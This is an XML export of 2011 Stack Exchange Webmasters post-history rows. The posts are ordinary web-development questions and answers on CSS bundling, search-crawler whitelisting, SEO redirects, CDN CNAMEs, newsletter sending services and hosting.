sites.&#xD;&#xA;" />
  <row Id="35223" PostHistoryTypeId="2" PostId="14970" RevisionGUID="e2656659-56cd-41ff-95ba-2c1a2121df22" CreationDate="2011-06-08T08:27:08.117" UserId="7198" Text="They are probably* right.&#xD;&#xA;&#xD;&#xA;It can be bad to split your JavaScript and CSS code into multiple files. Even if some of the code in those files is used on one page only, it's worth keeping it all in a single file to reduce page requests. Let me show you why:&#xD;&#xA;&#xD;&#xA;**Their method (all CSS in one file):**&#xD;&#xA;&#xD;&#xA;1. First page loads (1 request, 108KB CSS file loaded over HTTP)&#xD;&#xA;2. Second page loads (0 requests, 108KB CSS file from browser cache)&#xD;&#xA;3. Third page loads (0 requests, 108KB CSS file from browser cache)&#xD;&#xA;&#xD;&#xA;**Your method (CSS in multiple files):**&#xD;&#xA;&#xD;&#xA;1. First page loads (1 request, 100KB CSS master file loaded over HTTP)&#xD;&#xA;2. Second page loads (1 request, 5KB file over HTTP, 100KB file from browser cache)&#xD;&#xA;3. Third page loads (1 request, 3KB file over HTTP, 100KB file from browser cache)&#xD;&#xA;&#xD;&#xA;With each page load, you need an extra HTTP page request for the custom CSS that would otherwise have been included in the request for the original master file. If the custom code for each subpage grows *much* bigger, then you might want to test to see which is faster, but in the scenario you describe, I would wager that a single 108KB request is faster than three requests for a 100KB, 5KB, and 3KB file, because [HTTP requests are expensive.](http://stackoverflow.com/questions/1258043/http-requests-optimization-what-is-the-limit)&#xD;&#xA;&#xD;&#xA;Beyond that -- and the actual performance difference is likely tiny anyway -- it's easier to keep one file open when editing code than it is to hop between multiple files. A big site could quickly result in 10 or more separate CSS files, and that's never fun to manage. For that reason alone it's worth keeping code in one file if you can.&#xD;&#xA;&#xD;&#xA;*I say *probably* because there are other factors to consider. e.g. There are times when splitting up big CSS and JavaScript files makes sense. If one rarely-visited page needs an extra 500kb of JavaScript, you could argue against including it in the site's main JS file. You can also use things like [minify](http://code.google.com/p/minify/) to reduce HTTP requests when multiple CSS/JS files are requested, but it still doesn't get away from the fact that you've got to juggle all those files in your code editor in the first place." />
  <row Id="35224" PostHistoryTypeId="2" PostId="14971" RevisionGUID="db72a109-6e40-4336-8fff-16611c1997d9" CreationDate="2011-06-08T08:32:31.823" UserId="7474" Text="I've a system which blacklists users who request too many pages too fast if they are not in my white list. We are just worried about the main search engines and to be honest Google is the only one my bosses are worried about.&#xD;&#xA;&#xD;&#xA;###The White List:&#xD;&#xA;&#xD;&#xA;**crawler_name** -  **crawler_host**  &#xD;&#xA;Googlebot       - .googlebot.com  &#xD;&#xA;Yahoo! Slurp    - .crawl.yahoo.net  &#xD;&#xA;MSNBot - .search.msn.com&#xD;&#xA;&#xD;&#xA;If the HTTP_REQUEST_HEADER contains the crawler_name and the hostname (reverse DNS lookup of the IP) contains the crawler_host of any of the above, then we leave them request as many pages as they want. &#xD;&#xA;&#xD;&#xA;**Is this list good enough?** Will this cover the main search engine spiders? Or might we accidentally block one?" />
  <row Id="35225" PostHistoryTypeId="1" PostId="14971" RevisionGUID="db72a109-6e40-4336-8fff-16611c1997d9" CreationDate="2011-06-08T08:32:31.823" UserId="7474" Text="Am I covering the major search engine spiders in my anti-crawl protection white list?" />
  <row Id="35226" PostHistoryTypeId="3" PostId="14971" RevisionGUID="db72a109-6e40-4336-8fff-16611c1997d9" CreationDate="2011-06-08T08:32:31.823" UserId="7474" Text="&lt;google&gt;&lt;crawling&gt;&lt;bing&gt;&lt;google-crawlers&gt;&lt;spider&gt;" />
  <row Id="35228" PostHistoryTypeId="17" PostId="14972" RevisionGUID="d12107c4-139c-4247-8932-e8b330574e0c" CreationDate="2011-06-08T08:38:41.217" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16050/serverless-web-application" Text="" />
  <row Id="35229" PostHistoryTypeId="2" PostId="14972" RevisionGUID="a3c82490-c769-40c2-a0d1-f189624b58c9" CreationDate="2011-06-07T14:01:27.577" UserDisplayName="Andrea Di Persio " Text="In my company we work on a software that produce reports in html format. My bosses love the fact that static html pages can be moved across computer simply by moving/copying a folder and no web server is involved, so the customer only need a browser.&#xD;&#xA;&#xD;&#xA;The problem is that they asking me to implement a lot of feature which is very hard to implement properly and in a clean way without an application server.&#xD;&#xA;&#xD;&#xA;Frames cross domain problem, the impossibility to work with GET and POST data, no URLs routing...is very hard to work with this limitations.&#xD;&#xA;&#xD;&#xA;Anyone had similiar experience and wants to share their tricks/suggestion ?&#xD;&#xA;&#xD;&#xA;Do I need to tell my boss 'there is no future without a web server'? &#xD;&#xA;&#xD;&#xA;Regards." />
  <row Id="35230" PostHistoryTypeId="1" PostId="14972" RevisionGUID="a3c82490-c769-40c2-a0d1-f189624b58c9" CreationDate="2011-06-07T14:01:27.577" UserDisplayName="Andrea Di Persio " Text="Serverless Web Application" />
  <row Id="35231" PostHistoryTypeId="3" PostId="14972" RevisionGUID="a3c82490-c769-40c2-a0d1-f189624b58c9" CreationDate="2011-06-07T14:01:27.577" UserDisplayName="Andrea Di Persio " Text="&lt;html&gt;" />
  <row Id="35232" PostHistoryTypeId="5" PostId="14971" RevisionGUID="9f3a18ed-ca90-4ea3-b298-39b8ac06b4c5" CreationDate="2011-06-08T08:40:42.470" UserId="7474" Comment="working for Google" Text="I've a system which blacklists users who request too many pages too fast if they are not in my white list. We are just worried about the main search engines and to be honest Google is the only one my bosses are worried about.&#xD;&#xA;&#xD;&#xA;###The White List:&#xD;&#xA;&#xD;&#xA;**crawler_name** -  **crawler_host**  &#xD;&#xA;Googlebot       - .googlebot.com  &#xD;&#xA;Yahoo! Slurp    - .crawl.yahoo.net  &#xD;&#xA;MSNBot - .search.msn.com&#xD;&#xA;&#xD;&#xA;If the HTTP_REQUEST_HEADER contains the crawler_name and the hostname (reverse DNS lookup of the IP) contains the crawler_host of any of the above, then we leave them request as many pages as they want. &#xD;&#xA;&#xD;&#xA;**Is this list good enough?** Will this cover the main search engine spiders? Or might we accidentally block one?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;I've tested it using the &quot;Fetch as GoogleBot&quot; feature in Google Webmaster Tools and it's working as expected." />
  <row Id="35233" PostHistoryTypeId="5" PostId="14971" RevisionGUID="5b825598-f3a8-464b-8dc0-06a3f3cb0e2b" CreationDate="2011-06-08T08:52:20.333" UserId="7474" Comment="new bingbots" Text="I've a system which blacklists users who request too many pages too fast if they are not in my white list. We are just worried about the main search engines and to be honest Google is the only one my bosses are worried about.&#xD;&#xA;&#xD;&#xA;###The White List:&#xD;&#xA;&#xD;&#xA;**crawler_name** -  **crawler_host**  &#xD;&#xA;Googlebot       - .googlebot.com  &#xD;&#xA;Yahoo! Slurp    - .crawl.yahoo.net  &#xD;&#xA;MSNBot - .search.msn.com&#xD;&#xA;&#xD;&#xA;If the HTTP_REQUEST_HEADER contains the crawler_name and the hostname (reverse DNS lookup of the IP) contains the crawler_host of any of the above, then we leave them request as many pages as they want. &#xD;&#xA;&#xD;&#xA;**Is this list good enough?** Will this cover the main search engine spiders? Or might we accidentally block one?&#xD;&#xA;&#xD;&#xA;Edit:  &#xD;&#xA;I've tested it using the &quot;Fetch as GoogleBot&quot; feature in Google Webmaster Tools and it's working as expected.  &#xD;&#xA;According to [Microsoft](http://onlinehelp.microsoft.com/en-us/bing/hh204496.aspx) &quot;Bing operates three crawlers today:&#xD;&#xA;bingbot, adidxbot, msnbot&quot;. That's fine, I can add in bingbot and adidxbot but **will their IP addresses still resolve to &quot;.search.msn.com&quot;?**" />
  <row Id="35234" PostHistoryTypeId="5" PostId="14971" RevisionGUID="22ee3daf-c3aa-4fd3-b782-6e5f38752876" CreationDate="2011-06-08T09:06:21.330" UserId="7474" Comment="removed dot before msn &amp; yahoo crawler hosts" Text="I've a system which blacklists users who request too many pages too fast if they are not in my white list. We are just worried about the main search engines and to be honest Google is the only one my bosses are worried about.&#xD;&#xA;&#xD;&#xA;###The White List:&#xD;&#xA;&#xD;&#xA;**crawler_name** -  **crawler_host**  &#xD;&#xA;Googlebot       - .googlebot.com  &#xD;&#xA;Yahoo! Slurp    - crawl.yahoo.net  &#xD;&#xA;MSNBot - search.msn.com&#xD;&#xA;&#xD;&#xA;If the HTTP_REQUEST_HEADER contains the crawler_name and the hostname (reverse DNS lookup of the IP) contains the crawler_host of any of the above, then we leave them request as many pages as they want. &#xD;&#xA;&#xD;&#xA;**Is this list good enough?** Will this cover the main search engine spiders? Or might we accidentally block one?&#xD;&#xA;&#xD;&#xA;Edit:  &#xD;&#xA;I've tested it using the &quot;Fetch as GoogleBot&quot; feature in Google Webmaster Tools and it's working as expected.  &#xD;&#xA;According to [Microsoft](http://onlinehelp.microsoft.com/en-us/bing/hh204496.aspx) &quot;Bing operates three crawlers today:&#xD;&#xA;bingbot, adidxbot, msnbot&quot;. That's fine, I can add in bingbot and adidxbot but **will their IP addresses still resolve to &quot;.search.msn.com&quot;?**" />
  <row Id="35235" PostHistoryTypeId="25" PostId="14971" RevisionGUID="2582f4b4-e738-40a5-8392-a9930be612be" CreationDate="2011-06-08T09:14:29.697" Comment="http://twitter.com/#!/StackWebmasters/status/78389421845651456" />
  <row Id="35236" PostHistoryTypeId="5" PostId="14971" RevisionGUID="5c006936-679b-4a95-a9a2-d85172d82481" CreationDate="2011-06-08T09:50:14.800" UserId="7474" Comment="added 2 characters in body" Text="I've a system which blacklists users who request too many pages too fast if they are not in my white list. We are just worried about the main search engines and to be honest Google is the only one my bosses are worried about.&#xD;&#xA;&#xD;&#xA;###The White List:&#xD;&#xA;&#xD;&#xA;**crawler_name** -  **crawler_host**  &#xD;&#xA;Googlebot       - .googlebot.com  &#xD;&#xA;Yahoo! Slurp    - crawl.yahoo.net  &#xD;&#xA;MSNBot - search.msn.com&#xD;&#xA;&#xD;&#xA;If the HTTP_REQUEST_HEADER contains the crawler_name and the hostname (reverse DNS lookup of the IP) contains the crawler_host of any of the above, then we leave them request as many pages as they want. &#xD;&#xA;&#xD;&#xA;**Is this list good enough?** Will this cover the main search engine spiders? Or might we accidentally block one?&#xD;&#xA;&#xD;&#xA;Edit:  &#xD;&#xA;I've tested it using the &quot;Fetch as GoogleBot&quot; feature in Google Webmaster Tools and it's working as expected.  &#xD;&#xA;According to [Microsoft](http://onlinehelp.microsoft.com/en-us/bing/hh204496.aspx) &quot;Bing operates three crawlers today:&#xD;&#xA;bingbot, adidxbot, msnbot&quot;. That's fine, I can add in bingbot and adidxbot but **will their resolved hostnames still contain &quot;search.msn.com&quot;?**" />
  <row Id="35237" PostHistoryTypeId="5" PostId="14926" RevisionGUID="8c66c76e-287c-48ea-a48b-877b24773eda" CreationDate="2011-06-08T10:10:46.277" UserId="1643" Comment="Removed link to a windows webhost that supports php - possible advertising." Text="As the person above said, installing Joomla is possible in windows hosting account where php is supported. But you have to manually install it(download from Joomla, upload to site, config etc). Could be a pain. &#xD;&#xA;" />
  <row Id="35238" PostHistoryTypeId="17" PostId="14973" RevisionGUID="af2bccef-c073-4b1c-8904-6bedb0862182" CreationDate="2011-06-08T10:13:18.283" UserId="-1" Comment="from http://stackoverflow.com/questions/6267453/does-changing-cname-for-amazon-cloudfront-slows-the-download-in-anyway" Text="" />
  <row Id="35239" PostHistoryTypeId="17" PostId="14974" RevisionGUID="5bac89f5-e0bb-40b0-9bc5-4a5d3ae8cb88" CreationDate="2011-06-08T10:13:18.283" UserId="-1" Comment="from http://stackoverflow.com/questions/6267453/does-changing-cname-for-amazon-cloudfront-slows-the-download-in-anyway" Text="" />
  <row Id="35240" PostHistoryTypeId="2" PostId="14974" RevisionGUID="60f3b3d9-8884-4fe7-8261-8648a3497781" CreationDate="2011-06-07T15:21:43.893" UserDisplayName="Tom Anderson" Text="It will make no difference. Clients have to make a DNS lookup to convert the name to an IP address; using a CNAME might make that slightly slower, but by tens of milliseconds. The download itself uses the IP address, and will be entirely unaltered." />
  <row Id="35241" PostHistoryTypeId="2" PostId="14973" RevisionGUID="36496ab2-183e-4a71-853f-56ae3b27ff89" CreationDate="2011-06-07T15:16:40.693" UserDisplayName="Ahmed Janim" Text="I'm planning to use Amazon S3 with Cloudfront as CDN network.&#xD;&#xA;&#xD;&#xA;But I'm guessing that changing the url from `345345df4.cloudfront.com` to `sub.domain.com` will slow the process of download&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;Is this correct?&#xD;&#xA;" />
  <row Id="35242" PostHistoryTypeId="1" PostId="14973" RevisionGUID="36496ab2-183e-4a71-853f-56ae3b27ff89" CreationDate="2011-06-07T15:16:40.693" UserDisplayName="Ahmed Janim" Text="Does changing CNAME for amazon cloudfront slows the download in anyway ??" />
  <row Id="35243" PostHistoryTypeId="3" PostId="14973" RevisionGUID="36496ab2-183e-4a71-853f-56ae3b27ff89" CreationDate="2011-06-07T15:16:40.693" UserDisplayName="Ahmed Janim" Text="&lt;amazon-s3&gt;&lt;amazon&gt;" />
  <row Id="35244" PostHistoryTypeId="2" PostId="14975" RevisionGUID="28bd1aaf-d444-413c-b9d4-ed3677e1b4f1" CreationDate="2011-06-08T10:23:14.207" UserId="8103" Text="I will explain what happened ..I'm relatively new in SEO , 6 months or so...&#xD;&#xA;I have this site that ranked first for &#xD;&#xA;&#xD;&#xA;&quot;**estructuras truss**&quot;&#xD;&#xA;&#xD;&#xA;[http://www.google.es/#hl=es&amp;pq=site%3Ahttp%3A%2F%2Fwww.iddeasp.com%2Falquiler-estructura-truss-y-venta&amp;xhr=t&amp;q=Estructuras+truss&amp;cp=18&amp;pf=p&amp;sclient=psy&amp;source=hp&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=Estructuras+truss+&amp;pbx=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=7bd1b4183091bc5e&amp;biw=1522&amp;bih=706][1]&#xD;&#xA;&#xD;&#xA;(mail.iddeasp.com/truss-alquiler-y-venta-de-estructuras) iddea sp&#xD;&#xA;&#xD;&#xA;**Truss: Alquiler y Venta de Estructuras | iddea SP**&#xD;&#xA;***El truss es una estructura de aluminio de diseño moderno y tecnológico con un ... La gran ventaja en el montaje y desmontaje de las estructuras truss es que ...&#xD;&#xA;mail.iddeasp.com/truss-alquiler-y-venta-de-estructuras***&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've modified this page in order to have &quot;estructuras truss&quot; as an exact phrase... and google didn't even bother to rank that page.&#xD;&#xA;the new page is &#xD;&#xA;&#xD;&#xA;http://www.iddeasp.com/alquiler-estructura-truss-y-venta&#xD;&#xA;&#xD;&#xA;**Alquiler Estructura Truss y Venta | iddea SP**&#xD;&#xA;***Estructuras truss: estructuras de aluminio ligeras y económicas. Se alquilan o compran para crear cualquier estructura o montaje efímero: el mejor sistema ...***&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This page is not listed in even in the top 100 on google,...&#xD;&#xA;I got lucky because as I'm using Drupal ... the old page remained somehow in cache and google still finds it...still it's cached in march and the new page I've created it a week ago,30 or may..&#xD;&#xA;&#xD;&#xA;Anyone knows what am I doing wrong? &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.es/#hl=es&amp;pq=site:http://www.iddeasp.com/alquiler-estructura-truss-y-venta&amp;xhr=t&amp;q=Estructuras+truss&amp;cp=18&amp;pf=p&amp;sclient=psy&amp;source=hp&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=Estructuras+truss+&amp;pbx=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=7bd1b4183091bc5e&amp;biw=1522&amp;bih=706" />
  <row Id="35245" PostHistoryTypeId="1" PostId="14975" RevisionGUID="28bd1aaf-d444-413c-b9d4-ed3677e1b4f1" CreationDate="2011-06-08T10:23:14.207" UserId="8103" Text="SEO anomality.. Broad phrase ranks better than new optimized exact prase..why?" />
  <row Id="35246" PostHistoryTypeId="3" PostId="14975" RevisionGUID="28bd1aaf-d444-413c-b9d4-ed3677e1b4f1" CreationDate="2011-06-08T10:23:14.207" UserId="8103" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;&lt;error&gt;&lt;page-ranking&gt;" />
  <row Id="35247" PostHistoryTypeId="2" PostId="14976" RevisionGUID="e66ae60c-7fa8-46fd-ae38-f06ea3868889" CreationDate="2011-06-08T10:41:05.367" UserId="1643" Text="Google ranks things by more than just keywords. It also includes how many links there are to a page. Your brand new page may have no links to it. I would add a 301 redirect from the old to the new page so that search engines know that it's moved. " />
  <row Id="35248" PostHistoryTypeId="2" PostId="14977" RevisionGUID="c3aad03b-ad7f-46f4-a5ab-14324d0aa827" CreationDate="2011-06-08T10:52:39.827" UserId="8103" Text="I recently optimized my site changing the keywords but also the path to those pages (I'm using human readable urls)&#xD;&#xA;So google will not find those pages anymore...&#xD;&#xA;what's the best aproach in this case:&#xD;&#xA;making an alias keeping the old urls as well showing the new content or redirecting with 301?" />
  <row Id="35249" PostHistoryTypeId="1" PostId="14977" RevisionGUID="c3aad03b-ad7f-46f4-a5ab-14324d0aa827" CreationDate="2011-06-08T10:52:39.827" UserId="8103" Text="what's better for SEO : a 301 moved page vs an alias?" />
  <row Id="35250" PostHistoryTypeId="3" PostId="14977" RevisionGUID="c3aad03b-ad7f-46f4-a5ab-14324d0aa827" CreationDate="2011-06-08T10:52:39.827" UserId="8103" Text="&lt;seo&gt;&lt;google&gt;&lt;301-redirect&gt;&lt;duplicate-content&gt;&lt;sites&gt;" />
  <row Id="35251" PostHistoryTypeId="2" PostId="14978" RevisionGUID="7739c812-139e-4dd5-9d7c-7c19728cb513" CreationDate="2011-06-08T11:06:19.633" UserId="7198" Text="Redirect requests for the old page to the new one with a 301 header. There's no point in having the same content on different URLs unless you have to.&#xD;&#xA;&#xD;&#xA;If you do end up with the same content available from multiple URLs, use the [canonical link element](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394) to tell Google which single URL you want it to favour." />
  <row Id="35252" PostHistoryTypeId="25" PostId="14977" RevisionGUID="7e5ecf9c-cd9f-49d1-9a7d-f0d7761d3dcf" CreationDate="2011-06-08T12:14:30.110" Comment="http://twitter.com/#!/StackWebmasters/status/78434723034173440" />
  <row Id="35253" PostHistoryTypeId="2" PostId="14979" RevisionGUID="a1f8efae-4811-4e3f-ab6f-748b811d0466" CreationDate="2011-06-08T12:15:12.937" UserId="1253" Text="Do the 301 redirect. It not only tells both your users and search engines that the page has moved, but the search engines will transfer and link love it found for the old pages to the new which will help your SEO. &#xD;&#xA;&#xD;&#xA;If you use aliases so there can be more then one URL to find the same content which may possibly confuse users who will see the same content on different URLs. Canonical URLs will help the search engines avoid that issue but it won't do anything for humans." />
  <row Id="35254" PostHistoryTypeId="5" PostId="5389" RevisionGUID="f295c1c2-bcce-4baa-ab44-bbbaa86ba80c" CreationDate="2011-06-08T13:59:07.740" UserId="2010" Comment="fixed grammar" Text="From a search engine POV you can even have an **empty 404 error page**. But your server must serve the correct **status code (404 or 410)** to say that the page the client is asking for *no longer exist*.&#xD;&#xA;&#xD;&#xA;**From a user POV** having a well crafted error page is important because you don't want to let the user go away just because he, for example, followed a broken links: you want to *give the user options* to find his way on your website giving him for instance:&#xD;&#xA;&#xD;&#xA;- a search box&#xD;&#xA;- a link to the site map&#xD;&#xA;- a list of page similar to the one he was looking for ([Google itself can help you][1])&#xD;&#xA;- a simple form to contact the webmaster&#xD;&#xA;&#xD;&#xA;Since usually the content of the meta description tag **is not** visible to the user, **It's absolutely OK if you don't fill it up**.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2008/08/make-your-404-pages-more-useful.html" />
  <row Id="35255" PostHistoryTypeId="2" PostId="14980" RevisionGUID="f71a708a-6d23-4d3b-8133-49fd4812517c" CreationDate="2011-06-08T14:19:47.323" UserId="8104" Text="I want to send Newsletters to my clients and customers. I tried out a shared hosting account but it was blocked cause of sending about 5000 mails in a day. I then checked various sites that offers this newsletter options but they charge too high, even over 100$ p.m.. Is there an alternate solution. Should I go for a dedicated IP with a small hosting pack? Will that work?" />
  <row Id="35256" PostHistoryTypeId="1" PostId="14980" RevisionGUID="f71a708a-6d23-4d3b-8133-49fd4812517c" CreationDate="2011-06-08T14:19:47.323" UserId="8104" Text="Email Newsletters" />
  <row Id="35257" PostHistoryTypeId="3" PostId="14980" RevisionGUID="f71a708a-6d23-4d3b-8133-49fd4812517c" CreationDate="2011-06-08T14:19:47.323" UserId="8104" Text="&lt;bulk-email&gt;" />
  <row Id="35258" PostHistoryTypeId="2" PostId="14981" RevisionGUID="77cfa723-0c0e-4495-b7db-aa0c7714d147" CreationDate="2011-06-08T15:06:56.490" UserId="7198" Text="5,000 emails a day will likely trigger the outgoing mail limits that many shared hosting accounts have (e.g. GoDaddy's limit is [100 addresses per message](http://help.godaddy.com/article/2949)), so a dedicated IP address won't help you.&#xD;&#xA;&#xD;&#xA;To send that amount of mail, you might consider hosting your own SMTP server (such as [Postfix](http://www.postfix.org/)) on a VPS, or using outgoing mail services such as [SMTP.com,](http://www.smtp.com/) [SendGrid,](http://sendgrid.com/) [Postmark,](http://postmarkapp.com/) or [PostageApp.](http://postageapp.com) (PostageApp requires an  SMTP email account to send email through. I use [fastmail.](http://fastmail.fm)) &#xD;&#xA;&#xD;&#xA;For you, the cheapest and easiest to maintain option will likely be to use a dedicated newsletter service such as [MailChimp](http://mailchimp.com), who charge $50/month to send an unlimited amount of email to 5,000 subscribers. Their full pricing info is [here.](http://mailchimp.com/pricing/)" />
  <row Id="35259" PostHistoryTypeId="18" PostId="14980" RevisionGUID="94accafa-2690-41ce-950f-8c1b56c11763" CreationDate="2011-06-08T15:10:16.747" UserId="108" Comment="to http://webmasters.stackexchange.com/questions/2848/safe-way-to-send-thousands-of-promotional-emails" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="35260" PostHistoryTypeId="18" PostId="14981" RevisionGUID="94accafa-2690-41ce-950f-8c1b56c11763" CreationDate="2011-06-08T15:10:16.747" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/14980/email-newsletters" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="35261" PostHistoryTypeId="18" PostId="2848" RevisionGUID="94accafa-2690-41ce-950f-8c1b56c11763" CreationDate="2011-06-08T15:10:16.747" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/14980/email-newsletters" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="35262" PostHistoryTypeId="14" PostId="14980" RevisionGUID="a2f16138-3328-46ee-86c5-76c8db80a536" CreationDate="2011-06-08T15:10:17.573" UserId="108" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="35263" PostHistoryTypeId="25" PostId="14980" RevisionGUID="b3e19452-b322-41fa-b366-2fdb760703c9" CreationDate="2011-06-08T15:15:02.760" Comment="http://twitter.com/#!/StackWebmasters/status/78480158595616768" />
  <row Id="35264" PostHistoryTypeId="5" PostId="14981" RevisionGUID="d586d240-51aa-45b7-b865-7d988e6f1b67" CreationDate="2011-06-08T15:17:42.960" UserId="7198" Comment="deleted 327 characters in body" Text="To send that amount of mail, you might consider hosting your own SMTP server (such as [Postfix](http://www.postfix.org/)) on a VPS, or using outgoing mail services such as [SMTP.com,](http://www.smtp.com/) [SendGrid,](http://sendgrid.com/) [Postmark,](http://postmarkapp.com/) or [PostageApp.](http://postageapp.com) (PostageApp requires an  SMTP email account to send email through. I use [fastmail.](http://fastmail.fm)) &#xD;&#xA;&#xD;&#xA;Or use a dedicated newsletter service such as [MailChimp](http://mailchimp.com), who charge based on subscriber count instead of email volume. Their full pricing info is [here.](http://mailchimp.com/pricing/)" />
  <row Id="35265" PostHistoryTypeId="2" PostId="14982" RevisionGUID="fac71156-e744-42b1-a546-72c6039a23dc" CreationDate="2011-06-08T15:38:14.667" UserId="8105" Text="I work for a small business, and I *am* the &quot;IT Department&quot;. I also happen to be a summer intern, so after I leave the number of IT staff will be 0 for an indefinite period of time. I need a place where I can reliably put up the company's website as well as the mySQL+PHP backend. Good redundancy is a plus, as well as easy administration for my IT-challenged colleagues. Managed hosting would be good, so the PHP versions can update without my company having to hire an admin." />
  <row Id="35266" PostHistoryTypeId="1" PostId="14982" RevisionGUID="fac71156-e744-42b1-a546-72c6039a23dc" CreationDate="2011-06-08T15:38:14.667" UserId="8105" Text="MySQL server with website hosting with managed hosting" />
  <row Id="35267" PostHistoryTypeId="3" PostId="14982" RevisionGUID="fac71156-e744-42b1-a546-72c6039a23dc" CreationDate="2011-06-08T15:38:14.667" UserId="8105" Text="&lt;mysql&gt;" />
  <row Id="35268" PostHistoryTypeId="2" PostId="14983" RevisionGUID="95f76bc0-0fba-4c04-8f5d-b82cf93626b4" CreationDate="2011-06-08T15:51:07.063" UserId="1643" Text="Managed hosting is quite expensive and any shared hosting which has phpmyadmin thrown it should be sufficient.&#xD;&#xA;&#xD;&#xA;Of course you'll be leaving behind all relevant usernames and password and instructions on how to FTP files up and down and make any tweaks to the database using phpmyadmin that can't be done using the admin pages you've provided. And you'll be telling them where the local backups of the remote data go, and some pointers in case they need to restore the data. You are? Good." />
  <row Id="35269" PostHistoryTypeId="6" PostId="14982" RevisionGUID="e699b7fe-a44e-437a-a992-e909bda17ea4" CreationDate="2011-06-08T16:00:49.183" UserId="1643" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;mysql&gt;" />
  <row Id="35270" PostHistoryTypeId="2" PostId="14984" RevisionGUID="c1943fa2-6f53-4afa-9fc1-c4b5683a1750" CreationDate="2011-06-08T16:15:20.373" UserId="1253" Text="As mentioned by danlefree Thunderbird can handle multiple email accounts. They can go into their own separate folders or into one group of folders known as &quot;local folders&quot;. Thunderbird also allows you to set up signatures and quickly switch identities when sending mail.&#xD;&#xA;&#xD;&#xA;There are lots of tutorials on how to do this. [This one looks like a good one][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.makeuseof.com/tag/how-to-set-up-mozilla-thunderbird-3-multiple-email/" />
  <row Id="35271" PostHistoryTypeId="2" PostId="14985" RevisionGUID="0551bbae-fe73-4dd4-84d2-b6ee6684c146" CreationDate="2011-06-08T16:22:11.163" UserId="1253" Text="From an SEO point of view you shouldn't have any issues unless there is malware in any of those applications. If someone puts some kind of malware in their code Google may flag your site as unsafe and then anyone seeing your domain in the search results or try to view it in Chrome will see a nasty message telling them your site is unsafe and recommending not visiting it.&#xD;&#xA;&#xD;&#xA;As far as security goes, since the code isn't actually residing on your server you should be safe from malicious code in those applications." />
  <row Id="35272" PostHistoryTypeId="2" PostId="14986" RevisionGUID="e7b7c877-2d07-4d93-b2d3-843889f7900e" CreationDate="2011-06-08T16:29:19.553" UserId="1253" Text="A quick Google search for &quot;[signature fonts][1]&quot; turns up quite a few results.&#xD;&#xA;&#xD;&#xA;Some that looked good:&#xD;&#xA;&#xD;&#xA; - [Alako][2]&#xD;&#xA; - [Denistina][3]&#xD;&#xA;&#xD;&#xA;[There's a bunch of good ones here][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webhp?sourceid=chrome-instant&amp;ie=UTF-8&amp;ion=1&amp;nord=1#sclient=psy&amp;hl=en&amp;safe=off&amp;nord=1&amp;site=webhp&amp;source=hp&amp;q=signature%20fonts&amp;aq=&amp;aqi=&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=6782d3fc39a1f682&amp;ion=1&amp;ion=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=6782d3fc39a1f682&amp;ion=1&amp;biw=1261&amp;bih=885&#xD;&#xA;  [2]: http://www.urbanfonts.com/fonts/Alako.htm&#xD;&#xA;  [3]: http://www.dafont.com/denistina.font?nb_ppp=50&amp;psize=l&amp;text=Graphic%20Mania&#xD;&#xA;  [4]: http://www.dafont.com/theme.php?cat=603" />
  <row Id="35273" PostHistoryTypeId="2" PostId="14987" RevisionGUID="d3f143a9-d329-4af6-993f-837971d4dae0" CreationDate="2011-06-08T16:38:03.903" UserId="1253" Text="After reading through the documentation it seems that you aren't missing anything. It seems to be an oversight on their part. I looked on their website but didn't see a place to post a bug so I am not sure how aware they are of this or how to make them aware of it." />
  <row Id="35274" PostHistoryTypeId="2" PostId="14988" RevisionGUID="4d950d4a-40ff-41e8-a0d1-658ea5014b32" CreationDate="2011-06-08T16:39:17.770" UserId="1253" Text="From this [cross-post][1]:&#xD;&#xA;&#xD;&#xA;To change or remove this notice you need to amend the following Template files:&#xD;&#xA;&#xD;&#xA; - **create.html.tmpl** located in `\template\en\default\account\`&#xD;&#xA; - **request-new.txt.tmpl** located in `\template\en\default\account\email\`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webapps.stackexchange.com/posts/14194/edit" />
